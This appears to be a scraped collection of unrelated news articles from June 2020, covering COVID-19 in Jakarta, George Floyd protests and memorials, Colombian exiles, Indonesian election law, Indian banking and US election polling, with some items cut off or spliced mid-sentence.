Jakarta, the epicenter of the epidemic in Indonesia, continuously records the highest number of COVID-19 cases in the country. As of Wednesday, the Health Ministry reported 7,623 confirmed cases with 523 fatalities.

However, Coordinating Economic Minister Airlangga Hartanto has suggested that Jakarta is one of the provinces ready to enter the new normal phase despite concerns over the low testing capacity and incomplete data in the country.

The capital applied the first period of large-scale social restrictions (PSBB) from April 10 to 23, with several extensions prolonging the period until June 4.

On Thursday, Jakarta Governor Anies Baswedan decided to extend the period of large-scale social restrictions (PSBB) to the end of June as Indonesias capital city enters the transition phase with gradual easing plans in place for several sectors.
In March, clinical psychologist Tal Schlosser started experiencing a bizarre shift in her therapeutic sessions which shed rarely seen in her 20-year-long career.

Were sort of going through the same crises as our clients, and that just would only happen in unusual circumstances for most of us to really be in our clients shoes, says Schlosser, noting COVID-19-related stresses, including juggling homeschooling with her work, and having to suddenly conduct her work, like so many others, including her patients, over a video conferencing platform.

Mental health care workers, including psychologists and psychiatrists, have been experiencing a wide range of unique stresses during COVID-19. Credit:Getty

Shes far from the only mental healthcare professional for whom COVID-19 has meant a whole new tangle of stress.

I know one colleague whose partner recently recovered from an illness, and has had treatment, is vulnerable, says Schlosser, who practices in Sydney. She made the choice to stop seeing clients face to face. That was really hard for her, to do that, because it was in her familys interest rather than necessarily in what was in the clients interest.
Issues of race and justice have roiled the Minneapolis school district for months. As the districts chief of accountability, research, and equity, Eric Moore has been immersed in much of that debate.

In March, when the coronavirus pandemic shut down Minneapolis schools, the district found itself facing a profound digital divide: 70 percent of the districts African-American students did not have a computer they could use for remote learning.

But even before the pandemic, the 36,000-student district was debating changing its school boundaries to reduce racial and economic segregation. On May 13, the school board approved the restructuring, which will affect the attendance patterns of thousands of students starting in the 2021-22 school year.

Just about two weeks after that vote, George Floyd, a black man, died after he was arrested by Minneapolis police for allegedly using a fake $20 bill. The video of Floyd pinned to the ground by a white police officer, begging for air, sparked protests that have spread around the country and the world.

The tragic incident prompted the Minneapolis school board on Tuesday to sever ties with the police department, which had provided school resource officers to district schools. By August, Superintendent Ed Graff must present to the board a new student safety plan that will include security officers.

Moore talked with Education Week this week about the districts next steps after the SRO decision, and how districts can approach difficult conversations about racism and racial equity. His comments have been edited for length and clarity.

Education Week: What will your role be now that the school board has voted to terminate the school resource officer contract?

Moore: I have a climate framework steering committee, and one of the task forces of that steering committee is physical environment and safety. So that task force group will be developing a set of belief statements about how we want to engage security, what values we want to have in terms of those adults, engaging with our students. And then were going to have to come up with a revised plan.

Theres a need for us to declare our values as a communitystaff, students, teachers, union, non-unionits really about the values of the district.

Education Week: It sounds like you are seeing this as just a part and parcel of larger work.

Moore: Absolutely. Youve eliminated the SRO position, but you still have to have [security positions] at the schools. And I think its naive to think that those adults have not also been influenced by racism, white supremacist thought, issues of power and race. Whatever adult you bring in to support our students, they have to be made aware of concepts of power and privilege.

We have really strong school resource officers in some cases. Those are folks that do their work with an equity lens. But the challenge is that its not systemic. We have to make sure that when we have adults in front of our students, that people having equity lenses isnt by happenstance, but that were very deliberate on doing that work. Thats our responsibility.

Education Week: What was your response to the video of George Floyds arrest?

Moore: All of us have this process of grieving. But then, theres also the recognition that folks need us also to lead and things have to move forward on behalf of our kids. Kids need support.

So we could have predicted the outrage and the anger and the sadness. How that played outwho could have predicted that? Even the concept of having the city militarized for a period of timewaking up and seeing businesses boarded up is traumatic for everyone that lives in that community.

Obviously, with COVID-19 and people being isolated, weve had this period of time when our humanity has been tested by not being able to have the same type of relationships that weve had. And now this happens.

Education Week: Has there been a positive side to the upheaval?

Moore: Ive been very happy to see the protests and the diversity of those protesting. And it means a lot to me as an African-American man, when I see not only people of color protesting. Weve always protested, so thats expected. But Ive been pleasantly surprised to see the number of white allies out protesting with communities of color.

Education Week: Switching back to a school context and your equity work, do you think that this [unity] will last?

Moore: I think that [it] has the capacity to last, if we commit ourselves now to be engaged in the conversations and start developing plans for ongoing work. I was talking to a colleague and I said, what happens is that theres a crisis and then everyone responds. And then after the crisis subsides, we go back to business as usual, because we dont have a plan in place, and we dont have a plan thats funded and its not sustainable.

So, I think that we have to continue to have the dialogue and start planning future events. So, were in this moment nowwhat does that conversation look like next month? What does the conversation look like six months from now? What groups do we need to continue to convene, to develop the action plan?

Were very fortunate in that we had already established though our [school] boundary work the need to do a climate framework. Those committees have students and community members and teachers and principals and central office staff. We already had the structure in place to continue those conversations and those meetings are already scheduled.

What it makes you think about is those districts or locations that had the structure for those conversations, its going to continue. And those locations that didnt have the structures, theres nowhere this energy can go.

And thats why its important to develop those structures, because you cant predict whats going to happen. In moments of relative calm you can develop those equity structures, so when something happens, you have an ability to move these issues towards action.
Nothing could intimidate Elsi Angulo, the firebrand who fought to start a student newspaper in high school and got into the University of Narino law school in Colombia as its first Black student.

I always spoke for other peoples rights. I was not afraid, said the now 52-year-old London, Ont., woman who would end up becoming a district attorney in Colombia investigating and prosecuting corrupt politicians, guerrillas and paramilitaries.

However in 2004, she said she learned of a plan to assassinate her. Unsigned missives proclaiming R.I.P. Elsi arrived at her office and she knew she had no choice but to leave her troubled country behind.

Sixteen years after fleeing to asylum in Canada with her husband and two children, those threats and traumas have subsided, and Angulo finally got a chance to share her story of exile.

Since March, a small army of volunteers from the Colombian diaspora in Canada has fanned out  strictly virtually, due to COVID-19  to document stories such as Angulos as part of their homelands peace-building and collective healing.

The volunteers represent the independent Truth Commission in its effort to reach out to the hundreds of thousands of exiled Colombians in 23 countries, including Canada. They had fled during five decades of armed conflicts, which ended, on paper, with the 2016 Peace Agreement.

The goal is to seek out accounts from those affected by the violence, recognize their experiences and foster understanding from all sides to make sure that history is not repeated, according to Martha Blandon, one of the volunteer co-ordinators of the Ontario team.

We lived in war all our lives. It has to stop. We need a better future for our younger generation in Colombia, said Blandon, 57, who came to Canada in 1990 and now lives in Toronto.

To date, the volunteers in Ontario have interviewed eight people, including victims, witnesses and those who played active roles in the conflicts.

Whats the truth for you may not be the truth for me. Its important for us to hear from all different sides, said Blandon. Being objective is very important.

Algoma University professor Sheila Gruner, who specializes in development and forced migration in Latin America, said individuals in exile are often overlooked in such efforts because they may find it hard to get involved from a distance.

Volunteers recruit participants through community organizations and personal networks, but some people were hesitant at first to share their stories, out of a concern for the safety of their families back home or a reluctance to revisit old traumas, said Gruner, who also helps co-ordinate Truth Commissions Canadian efforts, including conducting interviews.

Its very complex but the process helps humanize what happened in the war, said Gruner. It opens up the space for understanding and the opportunity to forgive so we dont repeat history.

Angela Maria Guerra, a University of Toronto doctoral student in peace building and citizenship education, jumped at the opportunity to train as a volunteer interviewer. She said people are still being displaced and killed in violent conflicts in Colombia despite the accord.

We have normalized violence and must create a new generation thats capable of new ways of solving current and future conflicts, said Guerra, 36, who came to study in Canada for her PhD in 2013 after years of teaching high school and university students about conflicts in Colombia.

There is still poverty, land grabbing, marginalization and drug trafficking. Peace cannot be achieved without equality.

Angulo, who has remained active in advocating for Black Colombians, agrees.

In many areas, things have not improved. Black leaders and Indigenous people still get killed, said Angulo, who has documented her experience in a self-published book, Attorney on the Run.

We need to know and recognize the structure of that corrupt system thats still running. There are new paramilitaries and a lot of government officials who pretend to be good people but are really the bad guys.

Volunteer Natalia Uribe, who just graduated with a masters degree in international development from York University, said interviews have been audiotaped and run as long as four hours, based on prepared questions, while subjects can choose to remain anonymous.

We have captured stories that people were not able to tell in many years. There were moments of joy, moments of anger and moments of sadness. Tears were shed, said Uribe, 29, whose parents moved to Canada from Colombia when she was 11.

What struck me most was after one interview, the person said to us, I feel so good sharing my story and knowing my story is contributing to something bigger.

The Truth Commission is an extrajudicial entity and does not adjudicate or impose penalties against violent perpetrators. Community members in Ontario can call 647-410-8756 for more information. All interviews will be completed by June 30 and then submitted to the commission for a final report to be released next year.
UW Trustees Plan Teleconference Meeting Wednesday

The University of Wyoming Board of Trustees is scheduled to consider UWs plan to restart on-campus educational experiences this fall during the boards regular teleconference meeting at 7 a.m. Wednesday, June 10.

The board also will consider the universitys annual operating budget for the fiscal year that begins July 1.

The meeting will begin with an executive session.

The public session, expected to begin around 7:35 a.m., will be livestreamed via UWs WyoCast system at https://wyocast.uwyo.edu/WyoCast/Play/462d939ec0f446d89bc26eb0990d70c81d.

Among the other agenda items is a proposal for a new program in geospatial information science and technology, including two undergraduate certificates; three graduate-level certificates; a bachelors degree; and an online professional masters degree.

The complete agenda for the June 10 meeting is available at www.uwyo.edu/trustees/2020-meeting-materials/june_10_2020_meeting.html.
Thousands marched through the streets of Charlottetown in solidarity with demonstrators across Canada and the U.S., demanding justice and racial equality following the death of George Floyd while in the custody of Minneapolis police.

The demonstration has remained peaceful even as some protests in Canada and the U.S. have become violent in recent days.

Before the march, demonstrators were encouraged by the Black Cultural Society of P.E.I. to dress in black in a gesture of solidarity.

Keeping COVID-19 health concerns in mind, demonstrators were also reminded to wear masks and gloves as well as to remain six feet apart from each other.

"I'm here to march," said demonstrator Tara Reeves.

"It's been hard, I can't lie. It's been a real emotional roller-coaster, you know, since the news broke of George Floyd. Another name we've had to add on the back of the T-shirt that we're all wearing," she said.

"We need to address the systemic racism and the genocide that our country has been built on. It's bigger than one more black person being murdered by the police."

Whether Islanders know it or not, Reeves said racism exists on Prince Edward Island.

Cody MacKay/CBC

Cody MacKay/CBC

"We wake up in this skin every single day and we are discriminated against every single day," she said. "This is a life or death situation."

Robbie Robinson, an American citizen who attended the march with his wife and five-year-old son, said racial injustice spills across borders.

"The best thing I can do is just push for change," Robinson said.

"I wanted him to understand that, you know, we are going to do everything we can do in our control to fight for his human right to walk around, you know, not in fear  to have an experience with law enforcement anywhere in the world and leave, come home."

Cody MacKay/CBC

Cody MacKay/CBC

After marching through the city's streets, demonstrators poured into Rochford Square where organizers addressed the crowd and paused for a moment of silence in memory of 29-year-old Toronto woman Regis Korchinski-Paquet  who fell 24 storeys from a balcony  while police were on scene and Breonna Taylor, a 26-year-old emergency medical technician from Kentucky who was shot eight times by narcotics detectives who knocked down her front door in March. Today would have been Taylor's 27th birthday.

Story continues

Following the moment of silence, the phrase "No justice, no peace," was cried out by those gathered in the crowd.

"I know we are tired. We are still grieving," one organizer said to the crowd.

"But we must take action and end the cycle of oppression."

He urged non-black allies to use what privilege they have to create change, overturn racist laws and "stop turning a blind eye toward oppression."

Another organizer began by speaking to the Island's black community, "Rise up. Put your head high and stand tall because we deserve better."

She then turned to the non-black allies in the crowd.

"Where you can all start from is, don't touch our hair," she said, "Do not touch our bodies without consent. Do not ask to touch our bodies. Please stop touching our hair."

Education reform, curriculum reform, job security for black, Indigenous and people of colour (BIPOC) and improved access to health care. These are just some areas in desperate need of change, said Black Cultural Society of P.E.I.'s president Tamara Steele.

"You can't start the race 200-metres ahead of us and expect us to catch up," she said. "P.E.I.'s small enough, we can do this. We can make this change. We can do this if we all stand together.

"We don't want to be better than you," she said to the non-black allies in the crowd.

"We don't want more than you. We want equity."

More from CBC P.E.I.
An 82-year-old veteran holding a Donald Trump sign was pushed to the ground and kicked in the ribs and legs by a man who first ripped the sign from his hands and tore it in half, police in Massachusetts said.

Police responded to reports of the assault at about 5:30pm on Tuesday, Fall River police Lt. Daniel Dube said.

Aidan Courtright, 27, of Fall River, pulled up in his car at the rotary of North Main Street and Airport Road on Tuesday, where Charles Chace was standing and holding up a pro-Trump sign.

According to police, Courtright grabbed and destroyed the sign and pushed the victim, Charles Chace, to the ground, then kicked him with 'leather pointed shoes' while he was on the ground.

Aidan Courtright (left), 27, of Fall River, Massachusetts, was arrested after police said he approached 82-year-old Charles Chace at a rotary, ripped out a pro-Trump sign he was holding, and threw him violently to the ground before kicking him

According to police, Courtright got out of his car and yelled: 'Give me the f*****g sign!'

'Courtright then forcefully ripped the sign out of the victims hands, ripped it in half, and threw it on the ground,' police said.

'Courtright then went after the victim, grabbing him by his shirt, knocking his hat off, and throwing him violently to the ground.'

Chace, who served in the Air Force in the 1950s, was taken to the hospital with bruising on his lower back, police said.

Courtrights attorney, Marc Roberts, asked for a dangerousness hearing scheduled for Thursday to be delayed in order to gather 'character and other information to present to the court.'

A voicemail message was left with Roberts.

'The guy when he came at me, I have never seen a horror story that the face was so filled with hate and anger as his was,' Chace told WBZ-TV.

'I was just frozen.'

He added: 'I didnt know that he had lifted me up, but he apparently lifted me up and flung me down on my back on the ground.'

Police said that two witnesses corroborated Chace's account of the assault.

'The victim stated that he believed that he was targeted and attacked because of his political beliefs and the Trump hat that he was wearing,' police said.

Authorities contacted Courtright, who agreed to turn himself in.

He is charged with committing a civil rights violation with injury; assault and battery on a person over 60 years old; vandalizing property; and assault and battery with a dangerous weapon on a person over 60, police said.

Pleas of not guilty were entered on his behalf during an arraignment on Wednesday.
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Linkedin Ghina Ghaliya (The Jakarta Post) Jakarta  Fri, June 5, 2020 17:13 595 fc6853813033f564188675f8bdc77d10 1 Politics 2024-presidential-election,general-elections,Election-Law,revision,house-of-representatives,PDI-P,Golkar,NasDem-Party Free

The House of Representatives is mulling over changing the current open-list proportional representation electoral system and raising the 4 percent minimum parliamentary threshold in a proposed revision to Law No. 7/2017 on general elections.

Article 206 of the draft bill, a copy of which was obtained by The Jakarta Post, the House proposes to change the current system that allows legislative candidates with the most votes to automatically secure seats after the election into a closed-list system that will grant political parties the power to decide which candidates would represent them in legislative bodies.

The House also seeks to increase the parliamentary threshold from 4 to 7 percent as stipulated in Article 217 of the draft bill dated May 6.

Saan Mustopa, deputy chairman of the House Commission II overseeing home affairs, told the Post on Friday that nine political party factions at the legislative body were still divided over the draft, saying only the ruling Indonesian Democratic Party of Struggle (PDI-P) and the Golkar Party had so far agreed to adopt the closed-list system.

"This draft is still very open for changes as factions are still divided over it. Each faction is currently in discussion and we will deliberate the draft again on Monday. After that, we will send the draft to the Baleg [House Legislative Body]," the NasDem Party politician said.

The PDI-P and Golkar  the two largest political parties at the House and largest supporters of the government  have been rallying support for the revision since the beginning of 2020 as both parties argue that the closed-list system, which was applied during the 1999 and 2004 legislative elections, would reduce vote-buying and the fierce competition among candidates within a party or against those from other parties.

All factions were also still divided over raising the parliamentary threshold, with only the NasDem Party and Golkar agree on the 7 percent threshold, Saan said.

"The PDI-P, meanwhile, still wants to maintain the current threshold, as well as the others.

Therefore, he said, the draft might be changed to add several options. For instance, the provision on the electoral system might include a list of factions that agree with the open-list system and those that support the closed-list system. The draft might also include some parliamentary threshold options.

All factions, however, unanimously agreed to maintain simultaneous general elections for the national legislature, regional representatives and the presidency.

"The 2024 elections will still have the same with five ballot boxes [at the polls]," he said, adding that the House was still looking at the possibility to separate legislative and executive elections between the central and regional administration as proposed by some experts after the 2019 general elections.

Experts, however, have opposed the idea of reinstating the closed-list system and increasing the parliamentary threshold, saying they were not a solution to the issues surrounding elections in Indonesia and would distort the peoples sovereignty.

Edward Aspinall, a professor at the Australian National University who has researched vote-buying across Southeast Asia, said there were also consequences of ditching the current system, saying that it might trigger corrupt practices within the party with candidates attempting to purchase positions from party leaders.

He went on to say that the country should instead consider a mixed-list system that would also have a proportional element.

Titi Anggraini of election watchdog the Association for Elections and Democracy (Perludem) said that a higher parliamentary threshold would not necessarily increase the number of legitimate votes and would instead increase the chance for wasted votes.

More parties would fail to meet the legislative threshold and this would result in political dissatisfaction, she said.

Lawmakers are set to finish deliberating the bill in 2021, well before the next general elections in 2024.

Hopefully, we will have enough time to finish it this year," said Zulfikar Arse Sadikin of the Golkar Party.

Saan echoed Zulkifars sentiment, saying that he would like to see the bill resolved in early 2021 so that we will have more time to raise awareness about it among public and in case individuals or groups want to challenge it when it passes into law.
Mumbai, June 5 : The Reserve Bank on Friday announced the creation of a Payments Infrastructure Development Fund' with an initial contribution of Rs 250 crore.

Accordingly, the fund has been created to encourage the adoption of 'Points of Sale' machines by businesses in tier-3 to tier-6 centres and Northeastern states.

The PoS machines allow businesses to accept e-payments, thereby, mitigating the need to deal in cash.

Lately, the apex bank has been encouraging the adoption of e-payment modes.

"Over the years, payments ecosystem in the country has evolved with a wide range of options such as bank accounts, mobile phones, cards, etc," the RBI said in a statement.

"To provide further fillip to digitisation of payment systems, it is necessary to give impetus to acceptance infrastructure across the country, more so in underserved areas." As per the statement, the Reserve Bank will make an initial contribution of Rs 250 crore to the PIDF covering half the fund and remaining contribution will be from card issuing banks and card networks operating in the country.

"The PIDF will also receive recurring contributions to cover operational expenses from card issuing banks and card networks," the statement said.

"The Reserve Bank will also contribute to yearly shortfalls, if necessary. The PIDF will be governed through an Advisory Council and managed and administered by the Reserve Bank."
A memorial service for George Floyd on Thursday at North Central University in Minneapolis was filled with love, hope and calls for sweeping change.

The first of a handful of services planned to honor Floyd's life and mourn his death, hundreds of people, including family and civil rights leaders, were in attendance.

Family remembered Floyd's 46 years of life.

"We didn't have much growing up ... but we had a house full of love," said Rodney Floyd, one of his brothers.

PHOTO: Family members of George Floyd attend a memorial service for George Floyd following his death in Minneapolis police custody, in Minneapolis, June 4, 2020. (Lucas Jackson/Reuters)

Rodney Floyd went on to say he felt that love in the room.

Philonise Floyd, another of his brothers, remembered Floyd as someone everyone wanted to be around.

"They felt like they was the president. That's how he made you feel," Philonise Floyd said. "It's amazing to me that he touched so many people's hearts 'cause he's been touching our hearts."

PHOTO: George Floyd, who died in Minneapolis police custody, is seen with his daughter Gianna in an undated family photo in Minneapolis. (Courtesy Floyd Family via Reuters)

Rodney Floyd said he was grateful for the city of Minneapolis and others that have shown support.

"We feel that love in your city and ... around the world. It's a beautiful thing," he said.

Public figures in attendance included Martin Luther King III; civil rights activist Jesse Jackson; Rev. Al Sharpton; Sen. Amy Klobuchar and celebrity figures Kevin Hart, Ludacris, T.I. and Tiffany Haddish.

Gwen Carr, the mother of Eric Garner, a black man who died at the hands of New York City police and uttered the same words as Floyd -- I cant breathe -- also attended. She stood with Sharpton during an 8 minute, 46 second pause during the funeral. Thats how long an officers knee was on Floyds neck.

"Thats a long time ... theres no excuse, Sharpton said.

PHOTO: Reverend Al Sharpton speaks during a memorial service for George Floyd following his death in Minneapolis police custody, in Minneapolis, June 4, 2020. (Lucas Jackson/Reuters)

Some wore masks inside, a stark reminder of the novel coronavirus pandemic, which has disproportionately affected black Americans.

MORE: Funeral and memorial services for George Floyd schedule announced

It was just over a week ago that Floyd's death was caught on camera and sparked nationwide outrage. His name has become synonymous with a fight for justice and against police brutality.

Story continues

Floyd died May 25 after an officer pinned him down and put his knee on his neck. Officers had handcuffed Floyd for allegedly using a counterfeit $20 bill and were trying to force him into a squad car when he became stiff. Floyd told them he was "not resisting," but that he did not want to get in the squad car and was claustrophobic.

Floyd eventually fell to the ground, still handcuffed, and was restrained until he stopped moving. He had shouted "I can't breathe" and "I'm about to die" and called out for his mother, who is deceased.

Derek Chauvin, a 44-year-old officer seen in video footage with his knee on Floyd's neck for nearly nine minutes, is facing charges of second-degree murder, third-degree murder and manslaughter. Three other officers at the scene, Thomas Lane, 37, Tou Thao, 34, and J.A. Kueng, 26, are facing charges of aiding and abetting second-degree murder and aiding and abetting manslaughter.

PHOTO: People rally during a George Floyd Memorial in Brooklyn, New York, June 4, 2020. (Justin Lane/EPA via Shutterstock)

Sharpton delivered an impassioned "national eulogy," saying that what happened to Floyd represents what African Americans endure every day.

"What happened to Floyd happens every day in this country, in education, in health services and in every area of American life," Sharpton said. "It's time for us to stand up in George's name and say, 'Get your knees off our necks.'"

Sharpton went on to say, "We don't want no favors. Just get up off of us and we can be and do whatever" we want. He added that the widespread protests have him "more hopeful today than ever."

"When I looked this time and saw marches where, in some cases, young whites outnumbered the blacks marching, I know that it's a different time and a different season," he said. "When I looked and saw people in Germany marching for George Floyd, it's a different time and different season."

Protests have been largely peaceful, but there have been some instances of looting and violence. Sharpton said while no one in Floyd's family condones looting or violence, he wanted the world to realize "there's a difference between those calling for peace and those calling for quiet."

"Some of y'all don't want peace. You just want quiet. You just want us to shut up and suffer in silence," Sharpton continued. Some of the protesters weren't "breaking windows, they were trying to break barriers. They wasn't trying to steal nothing. They were trying to get back the justice you stole from us."

PHOTO: Protesters gather at a memorial for George Floyd where he died outside Cup Foods on East 38th Street and Chicago Avenue, June 1, 2020, in Minneapolis. (John Minchillo/AP)

In a moment that brought the Floyd family together in embrace, Sharpton spoke about Floyd calling for his mother in his last moments. Floyd's mother had died before Floyd, but Sharpton said perhaps she was calling out to him, "stretching her hands out" and saying, "I'll welcome you."

Benjamin Crump, an attorney for Floyd's family, said the justice he's fighting for will help "America be all America for all Americans."

Crump also made a point to note that despite being in a pandemic, it was the "other pandemic" that killed Floyd.

"That pandemic of racism and discrimination that killed George Floyd," Crump said.

PHOTO: This undated handout photo provided by Christopher Harris shows George Floyd. (Christopher Harris via AP)

Toward the end of the ceremony, Bishop Hezekiah Walker sang "Every Praise" and brought the attendees to their feet, with some joining hands and many clapping.

In opening remarks, Scott Hagan, president of North Central University, announced that a new scholarship would be named after Floyd.

He encouraged all university presidents to establish a scholarship in Floyd's name to invest "like never before in a new generation of young black Americans who are poised and ready to take leadership of our nation."

Timeline: The impact of George Floyd's death in Minneapolis and beyond

Two other memorial services will be held for Floyd on June 6 in Raeford, North Carolina, the state where Floyd was born, and Houston, Texas, where Floyd had previously lived, on June 8.

A private funeral service will be held at the same location on June 9 at 11 a.m. local time, which former Vice President Joe Biden is expected to attend, Crump said at a press conference on Tuesday.

ABC News' Stephanie Wash, Christina Carrega and Whitney Lloyd contributed to this report.

This report was featured in the Friday, June 5, 2020, episode of Start Here, ABC News daily news podcast.

"Start Here" offers a straightforward look at the day's top stories in 20 minutes. Listen for free every weekday on Apple Podcasts, Google Podcasts, Spotify, the ABC News app or wherever you get your podcasts.

George Floyd's memorial filled with love, hope and calls for change originally appeared on abcnews.go.com
This timeline shows some of the major race riots in the USA since 1935. It is far from exhaustive. It identifies protests and rioting predominantly by black Americans against white authorities. It is not our intention to suggest the violence goes only one way, but to highlight the times in recent history in which the anger and frustration of black Americans have boiled over to this point.

1935 - The Harlem Riot is triggered by an incident involving a black Puerto Rican teen and a shop manager, this riot has been cited by some as the first of the 'modern' kind in the USA, partly as it targeted property and was based on the struggle between the African American population and police. It lasted two days, reports vary on the number killed, between one and four.

1943 - In Detroit, racial tension between black and white residents grows into mob violence on both sides, until the arrival of 6,000 army troops in tanks. Thirty-four people die. In Harlem, a riot breaks out after a white police officer shot and wounded an African American soldier. Five people die.

1964 - Harlem Riot. Thousands protest after 15-year-old African American student James Powell was shot dead by a policeman in front of the boy's friends and others. Over six nights, about 4000 people are involved in protests that turn violent, marking the start of years of unrest, known as ghetto riots, in multiple cities.
SBI Chairman Rajnish Kumar said that 82 per cent customers have paid two or more instalments of loans during the COVID-19 period. Uday Kotak, MD & CEO of Kotak Mahindra Bank, could be eyeing merger and acquisition (M&A) opportunities in the wake of coronavirus. Bosch said the impact of lockdown on supply chain for India's manufacturing sector has been bigger than in other countries which makes it less likely for the country to directly benefit from China's manufacturing slump. Read for more top stories from the world of business and economy:

1. NPA meter for moratorium loans to start ticking from September

The banks such as Bank of Baroda and IDBI Bank have announced that 65 per cent of their loan book is under moratorium. The private banks have seen one third of their book in terms of value under moratorium.

2. Is billionaire Uday Kotak on a hunt for M&As in a post-COVID world?

New money that Kotak has raised kills many birds with one stone; first, equity dilution helps him reduce stake to meet regulatory requirement of 26 per cent by August; second, additional capital strengthens private bank's balance sheet at a time when there's fear of unknown.

3. Is China's loss India's gain? Unlikely, says Bosch

In the wake of the coronavirus pandemic, countries across the world are looking at decoupling from China and the entire global supply chain developed over decades is being realigned.

4. Reliance Jio stake sale: Mukesh Ambani's telco raises Rs 87,655 crore in 6 weeks

Abu Dhabi-based sovereign investor Mubadala is the latest investor that has invested Rs 9,093 crore in Reliance Jio platforms, translating into 1.85% equity stake on a fully diluted basis.

5. Coronavirus fallout: Cash-starved power discoms' debt to hit record Rs 4.5 lakh crore

The CRISIL report stated that discoms would face a double whammy of high costs and constrained cash inflows, amid declining demand which means the cash losses this fiscal may almost double to Rs 58,000 crore over last fiscal.
Author

The Chief Executive Officer of Kerten Hospitality, Marloes Knippenberg, has an innovative mindset that has established the organization as a disruptive, dynamic international hospitality group dedicated to the management of mixed-use developments in key global destinations.

Her journey in the hospitality field started with Hilton where Marloes held senior operational and commercial management positions for over a decade. At the helm of Kerten Hospitality, which she developed and launched with the backing of Kerten, Ireland-based investment vehicle, Marloes has grown the organizations operational and pipeline portfolio from one brand in one country to 10 aspirational lifestyle-driven concepts in 35 development projects across 3 continents.

Marloes continuously pioneers the role of innovation across the larger ecosystem with the aim to establish an industry platform where technology, hospitality and sustainability coexist and evolve for the benefit of consumers, investors and businesses.

She is on Advisory Board of flagship events like IHIDC  Vienna, AHIC - UAE, HITEC - Dubai, IHIF - Berlin and is frequently invited to contribute Though Leadership to industry forums: ITHIC - Italy, SHIC - Saudi Arabia, HOST  London and The Retail Summit, Dubai.

Marloes has been listed in the Hotelier Middle East Power List 2019 ranking the regions most influential industry professionals.

More about Marloes Knippenberg
NEW YORK, N.Y. -- Mayor Bill de Blasio pushed back on calls to slash the NYPDs budget over concerns of the agencys handling of George Floyd protesters.

In recent days, New York City officials and current and former de Blasio staffers have called on the mayor and City Council to cut the NYPDs annual $6 billion budget by at least $1 billion.

But de Blasio said he did not think it was a good idea to reduce the budget of an agency tasked with keeping New Yorkers safe.

I do not believe it is a good idea to reduce the budget of the agency that is here to keep us safe and the agency that is instituting neighborhood policing, which involves getting our officers to be deeply engaged with the community, de Blasio told reporters during a press conference Friday.

[Neighborhood policing] is a game-changer, it is the future of policing. If you undercut that, its not helpful, he said.

The mayor has said that if protesters remain peaceful they can stay out past the citywide 8 p.m. curfew to an extent, but once cops tell them to leave, they have to go.

But a number of videos showing cops using aggressive tactics on seemingly peaceful protesters after curfew, have prompted calls to cut the NYPDs budget.

However, de Blasio has insisted he has only seen peaceful protests.

I watched with my own eyes for days now, no use of force around a peaceful protest that I was seeing in front of my very eyes, right, right there, he said. If people are aiming to do violence, that's an appropriate dynamic to use force, he said.

If they do violence, its an appropriate dynamic. But otherwise, I want maximum communication from police. I want minimum intervention, minimum force, lots of restraint. Thats what were seeing.arrest or mistreatment of the media. Thats unacceptable and I need to make sure [the] NYPD does everything involving the media properly, he said.

Calls to cut the NYPDs budget comes as the city is currently facing a $9 billion budget deficit as a result of the coronavirus pandemic.

The mayor has asked Albany for borrowing authority that would provide a $7 billion safety net for local officials use over the course of multiple years when needed. He has also called on the federal government to help fill the citys budget gap with another stimulus bill.

If he is unable to get additional help with the citys budget, he has warned that furloughs and further cuts are on the horizon.

We may be defunding all city agencies if things don't go right in the next three weeks and it's a painful thing to acknowledge, but it's true, he said.

The mayors executive budget will have to be adopted before June 30 before the citys fiscal year 2020 ends.

FOLLOW SYDNEY KASHIWAGI ON TWITTER.
Official White House Photo by Joyce N. BoghosianBy KENDALL KARSON, ABC News



(NEW YORK) -- Over three years into his tenure in the nation's highest office and five months before the country weighs in on his re-election, President Donald Trumps struggles with older women, an important voting bloc for November, appear more acute in the middle of twin crises.



In 2016, Trump tilted the election in his favor after narrowly winning a handful of battleground states, and partly by performing well among white women -- and older voters -- even against the first-ever female nominee. Four years ago, although Hillary Clinton won women overall by a 13-point margin, Trump only lost women over 45 by 3 points (47%-50%), and won over both white women and voters over 45 with 52%, according to national exit poll data.



But this cycle, Trump is not only trailing Biden nationally by 10 points among registered voters in a new ABC News/Washington Post poll released earlier this week, hes also seeing waning support among women over 45. Biden is now leading Trump among this group by 17 points, compared to 9 in March, in the latest poll.



Its a hurdle that is emerging as the coronavirus pandemic ravages the nations seniors and Trump's "law and order" vision of leadership is up against its most critical test of his presidency as the country is engulfed by nationwide protests over racial injustice and police brutality.



In follow-up interviews with nearly a dozen women over 45, who span the ideological spectrum and geographic map, that participated in the ABC News/Washington Post poll, including some who formerly voted for Trump the first time around, most are turned off by his abrasive demeanor, divisive rhetoric and the tweets.



Not 'presidential'



"I voted for Trump. I did not care for Hillary. She was just not the role model I wanted for the first woman president," said Shannon Gridley, 78, from Orlando, Fla. Orlando sits along Floridas crucial I-4 corridor in central Florida, which is often seen as a bellwether in the battleground.



A path to victory for Trump this cycle is expected to run through Florida, where older voters have an outsize role in the electoral fortunes of candidates in the state. In 2016, Trump won Florida by just over 1 percentage point.



Gridley, who said she identifies along the "moderate avenue," has been voting since the 1960s, starting with President John F. Kennedy. She is currently a registered Democrat and is voting for Biden in the fall, but has historically voted for Republicans far more, she said.



Behind her 2016 decision, as she put it, was the notion that as an outsider, Trump might "shake things up."



"Well, by god, he has shook things up, that is for absolutely sure," she said. "He disappointed me pretty soon. I didn't like the way he talked. I didn't think he was professional. I did not think he was presidential. I just haven't agreed with much of anything that he's done."



Another female voter, Donna, who declined to share her last name, from Springfield, Mass., which sits in the western portion of the state, told ABC News shes voted Republican in the last two presidential elections, saying of 2016, "I was not happy four years ago with either of the candidates, but Hillary Clinton was the worst of the two."



"I voted for Donald Trump and hoped that he would rise to the occasion," she said. "Obviously, he hasn't. He is a petulant, junior high mentality candidate, and I feel that our country can do far better than that."



She is now backing Biden in November, she told ABC News.



Elizabeth Vath, too, voted for Trump in 2016. But the 75-year old Republican from Glen Mills, Pa., is siding with Biden, she said, "because of the fact that I didn't see Trump do what he promised to do. I voted for Trump because I thought he was going to do something better for our country."



"Hes lying," she continued. "He doesnt keep his promises. He curses and he swears and the language just turns me off. Im sorry, but I was never brought up that way."



Pennsylvania was one of the three key battlegrounds that put Trump over the top last cycle, where he defeated Clinton by the slimmest of margins - 0.7 percentage points. It is also home to a majority female population, and one that also skews older than the country, according to data from the U.S. Census Bureau compiled by the Pennsylvania State Data Center at Penn State Harrisburg.



Even a supporter of the president, who is voting for him in November, said she is repelled by what she sees as his immaturities and offensive language.



